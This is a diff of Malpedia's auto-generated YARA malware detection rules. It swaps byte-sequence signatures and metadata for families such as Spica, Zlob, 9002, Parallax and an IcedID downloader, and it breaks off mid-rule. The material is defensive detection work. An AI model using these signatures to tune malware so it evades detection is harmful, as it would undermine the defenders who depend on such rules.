"fb7e9642-1902-5334-b719-e15942756229" + id = "95af4ae3-464a-5d8e-afd4-0a11f6d0106b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spica" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spica_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mole_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "ed495be78d555972a0dc5475fda2591b6a4e5ced1e014a8ddb16a1315155952a" + logic_hash = "8a4687261d47d17fe0f3216955f42cc9f1da6596391fc3e1935f901a9405d6fa" score = 75 quality = 75 tags = "FILE" @@ -109738,34 +109869,34 @@ rule MALPEDIA_Win_Spica_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3410f6f9798080000 f3410f6f9fa8080000 660f7f9b20040000 660f7f9310040000 660f7f8b00040000 660f7f83f0030000 41c687a409000001 } - $sequence_1 = { f30f7f01 e9???????? 4883fe08 488b4c2470 480f42ce 488b5c2430 4829d9 } - $sequence_2 = { ff15???????? 4885c0 0f84d9050000 4889c1 488905???????? 41b880000000 31d2 } - $sequence_3 = { eb1b 4d8b8590000000 b800020000 4c234658 b940020000 0f44c1 4533db } - $sequence_4 = { e8???????? 488d95b0000000 4889d9 e8???????? 440fb7f8 0fb74b58 4189cc } - $sequence_5 = { ff5018 4d89fd 84c0 7424 e9???????? 0f854f060000 4c89f1 } - $sequence_6 = { ff15???????? 488b0b 488b93a0000000 4885d2 741b 0fb783c0000000 3bf0 } - $sequence_7 = { 8b442458 4863cb 448bf3 4903cf 4863e8 48c1e520 ffc3 } - $sequence_8 = { ffc7 4983c670 3b7d00 7cab 4c8b742448 488b5c2440 488b6c2450 } - $sequence_9 = { ffc1 f7f1 418bc1 8bcd 442bc2 33d2 41f737 } + $sequence_0 = { e9???????? 81bdf0fdffffc7a4d005 0f846a6a0000 81bdf0fdffffcba4d005 0f8478790000 e9???????? 81bdf0fdffffd0a6d005 } + $sequence_1 = { 8d85f0ebffff 03c1 8b8d14e5ffff 50 8b8530e5ffff 8b048578f64100 } + $sequence_2 = { ff15???????? c745f800000000 c745fc00000000 6a00 6a18 68???????? } + $sequence_3 = { 52 ff15???????? 83c41c 6a01 8d85ecf0ffff 50 } + $sequence_4 = { 0f873b5a0000 8b8df0fdffff 0fb69130cd4000 ff249518cd4000 8b85f0fdffff } + $sequence_5 = { 898570faffff 83bd70faffffff 7431 6a00 8d8d44faffff 51 8b955cfaffff } + $sequence_6 = { 83bde8feffff02 750c c785dcfeffff07000000 eb46 83bde4feffff06 7515 83bde8feffff03 } + $sequence_7 = { 0fb6822cb64000 ff24850cb64000 81bdf0fdffff596ad005 7746 81bdf0fdffff596ad005 0f848d5a0000 } + $sequence_8 = { 7d0d 8a441918 888168c44100 41 ebe8 } + $sequence_9 = { 0f8473590000 e9???????? 81bdf0fdffffc360d305 7725 81bdf0fdffffc360d305 } condition: - 7 of them and filesize < 14034944 + 7 of them and filesize < 297984 } -rule MALPEDIA_Win_Red_Gambler_Auto : FILE +rule MALPEDIA_Win_Naplistener_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "424f410a-a1db-5f80-8bc0-d2770de1bebd" + id = "a3d7d9df-de3a-516e-b81c-c3cfa9ffc96f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.red_gambler_auto.yar#L1-L298" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.naplistener_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "b3fef0f5439e9ff88d33fd6c22b22c41979ab9321c0a109b616fbbcd9f2274a0" + logic_hash = "2510a61e053aa5f210d742699c248976270de6ea89c8a2ddd06d921dbbb47612" score = 75 - quality = 71 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -109777,54 +109908,32 @@ rule MALPEDIA_Win_Red_Gambler_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6800010000 8d440601 50 68???????? e9???????? 68???????? } - $sequence_1 = { 55 8bec 837d0c10 56 57 } - $sequence_2 = { 8d55fc 52 56 6a00 6880000000 6a02 ffd7 } - $sequence_3 = { 33db 68ff000000 8d44244d 53 } - $sequence_4 = { 8b1d???????? 8da42400000000 6a00 68???????? ffd3 } - $sequence_5 = { ff15???????? 85c0 7520 8b542418 52 8d84243c010000 } - $sequence_6 = { 33c8 03ff 03ff 83e1f0 } - $sequence_7 = { 90 57 8d95fcfeffff 52 } - $sequence_8 = { 52 ff15???????? 8d8594fbffff 50 } - $sequence_9 = { 7f6f c8603a0c 7364 42 e5e1 5f } - $sequence_10 = { 3d067c263c 3c3d 9e e7bd } - $sequence_11 = { 6800010000 8d8dfcfdffff 51 6a00 } - $sequence_12 = { 64f33c87 3cfb 3ccd 047e 0000 3e2a6616 2bb0775ea707 } - $sequence_13 = { ff15???????? 83c414 6a00 6a00 8d9598fbffff } - $sequence_14 = { 8d8594fbffff 50 8d4d98 51 ff15???????? } - $sequence_15 = { 2bb0775ea707 2d9e2b3706 d7 e8???????? 004f21 7ea2 } - $sequence_16 = { 6800010000 8d85fcfeffff 50 6a00 ff15???????? } - $sequence_17 = { 68???????? 8d8d98fbffff 68???????? 51 } - $sequence_18 = { 8d9598fbffff 52 68???????? 6a00 6a00 ff15???????? 8b4dfc } - $sequence_19 = { 2b2a bee7eee947 7c26 0e 6706 7e0e 2829 } - $sequence_20 = { 8d5598 52 8d8598fdffff 50 68???????? 8d8d98fbffff } - $sequence_21 = { 6800010000 8d8d98fdffff 51 8d9598feffff } - $sequence_22 = { 74be 6f 665b e17a 6c 8737 27 } - $sequence_23 = { 4c 48 44 40 } - $sequence_24 = { 6e 44 b11a dfaf4e71ac05 } - $sequence_25 = { ff96bcd60000 83c704 8d5efc 31c0 } - $sequence_26 = { ffd3 68???????? 56 8bf8 ffd3 8bd8 ffd7 } - $sequence_27 = { ff15???????? 40 68???????? 50 ff15???????? 8d8dfcfeffff } - $sequence_28 = { a1???????? a3???????? a1???????? c705????????6b214000 8935???????? a3???????? } - $sequence_29 = { c1f805 c1e606 033485c0974000 8b45f8 } - $sequence_30 = { 85f6 0f8492000000 8b1d???????? 68???????? } - $sequence_31 = { f2ae 55 ff96acd60000 09c0 7407 8903 83c304 } + $sequence_0 = { 18 8d01000001 1316 1116 16 110a } + $sequence_1 = { 38bbfdffff 1314 00 7251010070 } + $sequence_2 = { 7285000070 0c 06 6f0e00000a } + $sequence_3 = { 110c 110b 1110 6f2600000a } + $sequence_4 = { 6f2600000a 00 1106 6f2700000a 732800000a 1311 1111 } + $sequence_5 = { 00 de3a 00 1107 14 fe01 } + $sequence_6 = { 6f2700000a 1307 1107 09 16 09 8e } + $sequence_7 = { 110e 1110 18 8d01000001 } + $sequence_8 = { 281900000a 1109 6f1a00000a 130a 7283000070 1105 6f1b00000a } + $sequence_9 = { 06 6f3b00000a 16 fe01 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Zlob_Auto : FILE +rule MALPEDIA_Win_Parallax_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "05847610-c838-5d32-b338-8d5b68ddc2fc" + id = "8bc5e4c5-7297-58f6-93c7-d7e053396899" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zlob_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.parallax_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "540ffbf034a9c137ad7d038d10b65fce4aa537a82bbe9b720e7907a3d6dfd9c7" + logic_hash = "048041cd9476ccea336d154c3ff8a8cb0591d12b8f4809a446240e8afe220643" score = 75 quality = 75 tags = "FILE" @@ -109838,34 +109947,34 @@ rule MALPEDIA_Win_Zlob_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8944241c c70424e8030000 e9???????? ffd3 ffd3 ffd6 } - $sequence_1 = { 0f8436010000 ffd5 ffd5 ffd6 ffd7 } - $sequence_2 = { ffd7 ffd6 ffd7 ffd6 ffd6 ffd7 8d842440020000 } - $sequence_3 = { 50 ffd6 85c0 750d 6a08 6a01 57 } - $sequence_4 = { c685f5fdffff31 c685f6fdffff65 c685f7fdffff30 c685f8fdffff2d c685f9fdffff64 c685fafdffff65 } - $sequence_5 = { 8d4c242c e8???????? 8b442448 89442410 eb05 834c2410ff 8d4c241c } - $sequence_6 = { 742e 6a03 ff75f0 ff15???????? 85c0 751f 6a03 } - $sequence_7 = { c644241301 ff742414 ff15???????? 8b3d???????? ff742418 ff15???????? } - $sequence_8 = { 6a0c a3???????? e8???????? 59 85c0 } - $sequence_9 = { 895104 e8???????? c20400 56 57 8b7c240c 8bc7 } + $sequence_0 = { ff96fc000000 6a04 68???????? 6a0a 68???????? e8???????? 6a04 } + $sequence_1 = { 837d0801 7548 8d35f4ec4000 8d3d04f14000 b908020000 f3a4 6a04 } + $sequence_2 = { ff7634 52 ff750c e8???????? 6a00 ff750c ff7508 } + $sequence_3 = { 3d02800000 7510 ff7514 ff7510 e8???????? e9???????? 3d03800000 } + $sequence_4 = { 5d c20c00 55 8bec 8b7d08 } + $sequence_5 = { 5d c20800 e8???????? 5e 662bf6 8b15???????? 3315???????? } + $sequence_6 = { 895f1c 8bc3 5f 5e 8be5 5d c20800 } + $sequence_7 = { 89463c 68ff1f0000 e8???????? 8b563c } + $sequence_8 = { ff751c 8f4614 ff7520 8f461c 5d c21c00 } + $sequence_9 = { 8b4648 8945f4 ff75f8 ff75f0 ff75f4 e8???????? eb28 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Unidentified_106_Auto : FILE +rule MALPEDIA_Win_9002_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ea4969ee-e7d3-51c5-a790-866750e5961b" + id = "bbbd19a8-8d59-5fa3-924d-0a65e7bf4ff6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_106_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.9002_auto.yar#L1-L337" license_url = "N/A" - logic_hash = "d6bc870d9f53493eb97d63e12993bef0e39d6447b53eae3a48dc5e8a9f09d6c4" + logic_hash = "b28ab37244f22455bfd7ab977eaff5de257e54ee69c7d856b3cc5dc49768b368" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -109877,32 +109986,60 @@ rule MALPEDIA_Win_Unidentified_106_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff5040 89442440 85c0 780a c783f000000001000000 8b442440 4883c420 } - $sequence_1 = { ba64000c00 488bcf 4c8be8 ff96c0000000 4885c0 750d bfeaffffff } - $sequence_2 = { 83e27f 8d0432 413bc4 0f87e0fbffff 83fa04 0f87d7fbffff 85d2 } - $sequence_3 = { ffc0 4883c110 413bc5 72f0 33c9 e8???????? 488b4c2448 } - $sequence_4 = { e8???????? 488d9424f0000000 498bce e8???????? 488d4c2420 e8???????? 41b820000000 } - $sequence_5 = { 8bea 448b895c010000 448be2 412bf1 488bd9 2bee 85f6 } - $sequence_6 = { c7470801000000 0f57c0 4889442470 0f57c9 48896c2440 41b00b 48896c2448 } - $sequence_7 = { 85c0 7531 0fb7833c040000 6683e030 6683f810 7509 c683470400000a } - $sequence_8 = { 8b4a04 394c2460 7507 beffffffff eb62 ba07000300 48896c2478 } - $sequence_9 = { 7519 488d0598730800 c7450403000000 48898590000000 32c0 eb1f 488b5308 } + $sequence_0 = { 2d00040000 f7d8 1bc0 23c2 } + $sequence_1 = { 68???????? ff15???????? 6a0a ff15???????? e9???????? } + $sequence_2 = { 89bef8030000 ff15???????? 8986fc030000 ff15???????? 898600040000 } + $sequence_3 = { 83c0fc 50 53 e8???????? } + $sequence_4 = { 03c3 8b00 5b ffd0 } + $sequence_5 = { 6a02 83c144 6800000040 51 } + $sequence_6 = { 8bc1 33c9 894808 894810 8910 c7400c01000000 } + $sequence_7 = { 57 8bf1 50 6801020000 c706???????? e8???????? 8d4604 } + $sequence_8 = { 2bd0 3bfa 760d 85c0 7504 } + $sequence_9 = { 6a02 ff15???????? 68???????? ff15???????? 6a00 6a00 6a00 } + $sequence_10 = { 0ac8 80c910 880e 8ac2 } + $sequence_11 = { 6a02 6a03 6a00 e8???????? } + $sequence_12 = { 8b5c2408 6bdb08 03c3 8b00 } + $sequence_13 = { 33c9 3bc8 1bd2 f7da 8915???????? } + $sequence_14 = { 682c010000 50 ffd3 3d02010000 } + $sequence_15 = { 51 e8???????? 6a06 6a01 6a02 e8???????? } + $sequence_16 = { 8b08 51 e8???????? 8b5714 } + $sequence_17 = { 8b460c 40 33d2 f77614 ff4610 } + $sequence_18 = { e8???????? 50 e8???????? 6a08 e8???????? } + $sequence_19 = { 46 c1ea06 8816 46 } + $sequence_20 = { 56 89442418 ff15???????? a820 } + $sequence_21 = { 8b01 ff5010 8b7614 ff4e0c } + $sequence_22 = { c7422c00000200 8b4648 c7402801000000 8b4648 } + $sequence_23 = { 742e 85f6 7419 0fb6da f683c1d4001004 7406 8816 } + $sequence_24 = { 7622 8b4558 83f805 7316 8a0b } + $sequence_25 = { 8b7c240c 57 8bf1 e8???????? 33d2 } + $sequence_26 = { 894608 ff15???????? 8d4c2414 885c243c ff15???????? 8bc6 8b4c2434 } + $sequence_27 = { 8b4648 689a000000 6a00 50 } + $sequence_28 = { 8d4c240c 8d542418 6a05 8944241c 51 } + $sequence_29 = { 8bf1 8b4610 57 33ff 897e08 } + $sequence_30 = { 8bf8 6a40 6800100000 57 6a00 ff15???????? 8d4df8 } + $sequence_31 = { c3 b8???????? c705????????772b0010 a3???????? } + $sequence_32 = { ff15???????? 8bf8 85ff 7529 ff15???????? 8b560c 52 } + $sequence_33 = { 8b5c247c 55 56 8bb4248c000000 57 8b3b 8b2e } + $sequence_34 = { 52 ffd5 c7460c00000000 8b460c } + $sequence_35 = { 6689bc5a80010000 83c30c 895c2424 e9???????? } + $sequence_36 = { 8b4e04 83c108 33f6 668931 66897102 89510c } + $sequence_37 = { ff15???????? 8bf8 6a40 6800100000 } condition: - 7 of them and filesize < 27402240 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Ketrum_Auto : FILE +rule MALPEDIA_Win_Smac_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1ff13c8d-0527-5a40-b6b9-bb4141259de3" + id = "aa200520-854b-5bad-b989-05c108d9a8dd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ketrum_auto.yar#L1-L171" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smac_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "2f5239fe4e1f5d031309de047f066345a22c976ad71c9c05f830bcb3f0899bfb" + logic_hash = "048e342bef93bb6d74cc2ec6d93a75375cb38005feab23ff54823997fa4e630f" score = 75 quality = 75 tags = "FILE" @@ -109916,38 +110053,32 @@ rule MALPEDIA_Win_Ketrum_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a08 40 3acb 75f9 52 ff74241c 2bc7 } - $sequence_1 = { 6a00 50 e8???????? 8d85fcefffff 83c418 } - $sequence_2 = { 8bf7 83e61f c1e606 033485a0bc6200 c745e401000000 } - $sequence_3 = { 68???????? 50 ffd7 83c43c 53 53 } - $sequence_4 = { 85c0 7549 ff15???????? 8bf0 56 68???????? } - $sequence_5 = { ba???????? 898df0d3ffff 3bc7 7321 8995f0d3ffff } - $sequence_6 = { 894dd4 8945d8 eb06 215dd4 215dd8 } - $sequence_7 = { 58 b9???????? e8???????? 59 57 68???????? e8???????? } - $sequence_8 = { 68???????? 50 ff15???????? ffb534fdffff 8d8de0fdffff ffb52cfdffff e8???????? } - $sequence_9 = { 68???????? 8d4da8 e8???????? 59 84c0 } - $sequence_10 = { e8???????? 8b450c 8b5d08 33c9 } - $sequence_11 = { ff15???????? 898350010000 80bd33efffff00 0f84e3f2ffff } - $sequence_12 = { 7503 6a09 59 66890e eb03 668916 830002 } - $sequence_13 = { 898d34efffff 6a00 ffb534efffff 83c8ff } - $sequence_14 = { 50 8db578fdffff e8???????? 8bc6 50 8d85a0fbffff 50 } - $sequence_15 = { 8d458c 50 c645fc03 e8???????? 59 } + $sequence_0 = { 59 59 8bd8 8d8514f1ffff c645fc16 e8???????? 6a01 } + $sequence_1 = { ffd6 8d45e0 50 ff35???????? c745e04d6f7665 c745e446696c65 c745e845785700 } + $sequence_2 = { c3 8bff 55 8bec 8b4508 56 8d34c5d0504100 } + $sequence_3 = { 668985fcfeffff 668985fefeffff 58 6a5c 66898500ffffff 58 6a63 } + $sequence_4 = { 33c0 668985f0efffff 8d8504f1ffff 50 8d85c0efffff 50 56 } + $sequence_5 = { 6aff ff7508 bbe9fd0000 50 53 ffd6 8bf8 } + $sequence_6 = { ff35???????? 66898d76ffffff c745a04765744d 66c745a46f64 c645a675 66c745a86546 c645aa69 } + $sequence_7 = { 58 6a5b 66894594 33c0 66894596 58 } + $sequence_8 = { 50 ffd6 53 6a07 8d8d34feffff 51 53 } + $sequence_9 = { 50 ff15???????? ffb568f4ffff ff15???????? 56 e8???????? 59 } condition: - 7 of them and filesize < 4599808 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Charon_Auto : FILE +rule MALPEDIA_Win_Taintedscribe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "01b8556c-ee40-53b7-952a-8e2b8282fe20" + id = "f6a7e40a-4fa2-5a81-9780-0a7ba8af1fba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.charon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.charon_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taintedscribe_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "b28dd8515b960c3adbfdc7b51b8085f45af8b6d7308fa151efcf52d4fa2fa9ad" + logic_hash = "410c49d2a558db92d0096ecc5bd9fc38bcaad1e641a570b26cd7d6d98ec29d7e" score = 75 quality = 75 tags = "FILE" @@ -109961,32 +110092,32 @@ rule MALPEDIA_Win_Charon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4c2420 8d0c8d01000000 4863c9 88440c50 b803000000 2b442420 4898 } - $sequence_1 = { 050b020000 8bc0 488b8c2460020000 8b0481 038424f8010000 8b8c24fc010000 8b942400020000 } - $sequence_2 = { 480bc1 48c1f802 4825ffffff01 b908000000 486bc901 488b542408 } - $sequence_3 = { 486bc000 488b8c2460020000 8b840140100000 c1e00a b904000000 486bc900 488b942460020000 } - $sequence_4 = { 48c1e108 480bc1 b901000000 486bc90e 488b542410 0fb60c0a 48c1e110 } - $sequence_5 = { c784249c00000000000000 8b0424 8b4c2408 03c8 } - $sequence_6 = { 488b942460020000 8b8c0a40100000 c1e916 0bc1 898424d8010000 b804000000 486bc00f } - $sequence_7 = { 050f020000 8bc0 488b8c2460020000 8b0481 03842438020000 8b8c243c020000 8b942440020000 } - $sequence_8 = { 0bc1 89442448 b804000000 486bc004 488b8c2460020000 0fb6840100100000 88442443 } - $sequence_9 = { 48c744243000000000 8b8424c0000000 89442428 488b842430010000 4889442420 448b8c24f0000000 } + $sequence_0 = { 8bcf 0facd110 c1fa10 0fb65330 } + $sequence_1 = { 5e 8be5 5d c20800 c7460c00000001 } + $sequence_2 = { 8b5358 898d88fbffff 8b4b50 0f94c0 } + $sequence_3 = { 8d5594 52 6a04 8d4590 50 56 } + $sequence_4 = { 8bd7 8b7b40 0facc218 c1f818 8a4340 } + $sequence_5 = { 8b4dcc 894308 8b45d0 50 } + $sequence_6 = { 5b 5d c20c00 83f803 7574 } + $sequence_7 = { 898da8fbffff 8d45e8 8985b4fcffff 8b433c 8bd0 8d4ddc } + $sequence_8 = { 6a00 6a00 ff15???????? 85c0 7516 } + $sequence_9 = { bb01000000 d3e3 33c0 85db 7e1e 8d4900 } condition: - 7 of them and filesize < 254976 + 7 of them and filesize < 524288 } -rule MALPEDIA_Win_Webmonitor_Auto : FILE +rule MALPEDIA_Win_Thanatos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4edd58bc-84aa-57fd-8483-88f5d1911dcf" + id = "503a7f37-fd56-5eb4-8fd1-5ecbf912c720" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webmonitor_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thanatos_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "f03f08c033bc99c38a9a7047c1ab4dd8b784015d4b2f1d48ed5a63b916e4918d" + logic_hash = "a490fddf2b1c7ed46086686ac0e8278c90a6f240d56058a2bebac261ed9edf67" score = 75 quality = 75 tags = "FILE" @@ -110000,38 +110131,32 @@ rule MALPEDIA_Win_Webmonitor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c9 c1eb0a 41 0fb7c3 } - $sequence_1 = { 04f0 fd ff01 04f0 fd } - $sequence_2 = { 50 51 e8???????? 83c418 807c242000 } - $sequence_3 = { 0fb6c0 6a09 33f0 e8???????? } - $sequence_4 = { 2b49fc e9???????? 55 8bec f30f104508 ff750c } - $sequence_5 = { 0f4345d8 0fbe0408 03d8 e9???????? 03da 8a043b } - $sequence_6 = { 0080cd41009c d34100 e8???????? a3???????? 41 } - $sequence_7 = { 1b4300 38644400 44 8a4100 } - $sequence_8 = { 2503fd006c ff1e e00e 000e } - $sequence_9 = { 03c6 53 c1e008 6a0e 8945e0 e8???????? } - $sequence_10 = { 04c8 fe04fc fd 04f8 fd ff01 } - $sequence_11 = { 41 00baa4f34100 b9???????? ffe1 ba???????? b9???????? ffe1 } - $sequence_12 = { 04f8 fd 0512002413 000d???????? 04f4 } - $sequence_13 = { 33cd e8???????? c9 c3 68???????? e8???????? } - $sequence_14 = { 33c9 6800900100 668908 8bcf } - $sequence_15 = { 61 0043ec fe04ec fe05???????? 000d???????? 04c8 } + $sequence_0 = { 740a 8b45f8 83e007 3c05 751c 834714fc } + $sequence_1 = { ff15???????? 03c0 50 53 ffb514fdffff 56 ff15???????? } + $sequence_2 = { 8b856cffffff 8906 8b8570ffffff 8907 8b4dfc 5f 33cd } + $sequence_3 = { 56 8d43fe 8bd1 33f6 57 8b7d08 } + $sequence_4 = { 8d0449 8d0445981c0210 5d c3 8d04cd00000000 2bc1 8d0445c0390210 } + $sequence_5 = { 2db8000000 81e6ff1f0000 03f0 0fb7047528f10110 6685c0 74c5 } + $sequence_6 = { 6a00 c705????????00000000 c705????????00000000 ff15???????? 85c0 743e 8d85f0fdffff } + $sequence_7 = { 66a1???????? 668945f8 a0???????? 83c420 8845fa 8d45f4 50 } + $sequence_8 = { 0f8718010000 8b35???????? 68???????? 53 ffd6 85c0 } + $sequence_9 = { 83e003 c1e004 5f 0fb68028850110 884101 5e } condition: - 7 of them and filesize < 1984512 + 7 of them and filesize < 1810432 } -rule MALPEDIA_Win_Vsingle_Auto : FILE +rule MALPEDIA_Win_Icedid_Downloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7b6b6db-e313-5b0b-a645-6bf26597d2b3" + id = "d7ee6583-0e42-548a-a503-976de56f1492" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vsingle_auto.yar#L1-L167" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icedid_downloader_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "f69fc53fa8d26d98505b2a81c4ca94e19258f9d652d84433b0b518828946acca" + logic_hash = "3ad62116cc53f8a172c118313873b176a6f13aff503ffabc7e8b01bb236f4bad" score = 75 quality = 75 tags = "FILE" @@ -110045,77 +110170,32 @@ rule MALPEDIA_Win_Vsingle_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 668985ccb6ffff 6800200000 6a00 8d8dceb6ffff 51 e8???????? } - $sequence_1 = { 50 6800010000 8b4508 50 } - $sequence_2 = { 50 51 b8b0490000 e8???????? } - $sequence_3 = { 83c404 50 8d4dd0 51 e8???????? 83c40c } - $sequence_4 = { 035508 b801000000 d1e0 8a4dff 880c02 ba04000000 } - $sequence_5 = { 035508 be01000000 d1e6 8a0408 } - $sequence_6 = { 50 0fb78d10efffff 51 0fb79516efffff 52 0fb78512efffff 50 } - $sequence_7 = { 668985d4f6ffff 68fe070000 6a00 8d8dd6f6ffff } - $sequence_8 = { 81c29733eaa8 81f2e97da1b5 81ea52e5b08e 81c2f77c29e2 81ea4b516cc2 89042a 5a } - $sequence_9 = { 5f 51 57 51 b9cd968197 } - $sequence_10 = { 51 b9b187ff90 81e95e49f864 81c17c65b866 81c10f9cc186 } - $sequence_11 = { 81c2b953352c 81c26fe1dd9a 81eaf2033eb3 81f2866440c5 81f237c658eb 81c2a804b1a7 } - $sequence_12 = { 5b 53 bb8fbc7c14 81c30cf1050f e9???????? 5e } - $sequence_13 = { 7505 e9???????? 50 b8e64d1443 81e8dc1e5dbe eb0a } - $sequence_14 = { 89042e 5e 56 be76e3d36a 81ee46419e0d } - $sequence_15 = { 81f19d49dcd4 81e9c159bc74 890429 59 } - - condition: - 7 of them and filesize < 940032 -} -rule MALPEDIA_Win_Mykings_Spreader_Auto : FILE -{ - meta: - description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "96a12e80-b15f-580e-920d-d6c0d35464b0" - date = "2023-12-06" - modified = "2023-12-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mykings_spreader_auto.yar#L1-L132" - license_url = "N/A" - logic_hash = "1bcd674173fea4b83a2f4219e8f61306a972490f94a89cfaf5e1f466fdec8eff" - score = 75 - quality = 75 - tags = "FILE" - version = "1" - tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20231130" - malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" - malpedia_version = "20230808" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { 7519 51 55 8bce e8???????? 6a00 6a00 } - $sequence_1 = { 8b1e ff938c000000 8b0424 8b5014 85d2 7507 bf00000000 } - $sequence_2 = { e8???????? 837e1800 7439 8b4620 c1e003 89c7 8b4618 } - $sequence_3 = { 89c1 c745f401000000 3b4df4 723d ff4df4 8d7600 ff45f4 } - $sequence_4 = { 68???????? 50 ff15???????? a3???????? 83c0fe 40 40 } - $sequence_5 = { 8942fc 89d8 c1f81f 8b1424 8b7208 8b4a0c 29de } - $sequence_6 = { eb02 b300 e8???????? 8d45cc e8???????? c745cc00000000 58 } - $sequence_7 = { 33d2 b9???????? 8bc2 8bf2 c1f805 83e61f 8b0485a02e4100 } - $sequence_8 = { 89d8 29f0 85c0 7e39 8b55f4 85d2 7505 } - $sequence_9 = { 8b7508 8b36 8975c8 8b7d08 8b7f04 } + $sequence_0 = { 8bf0 8944241c 8d442408 50 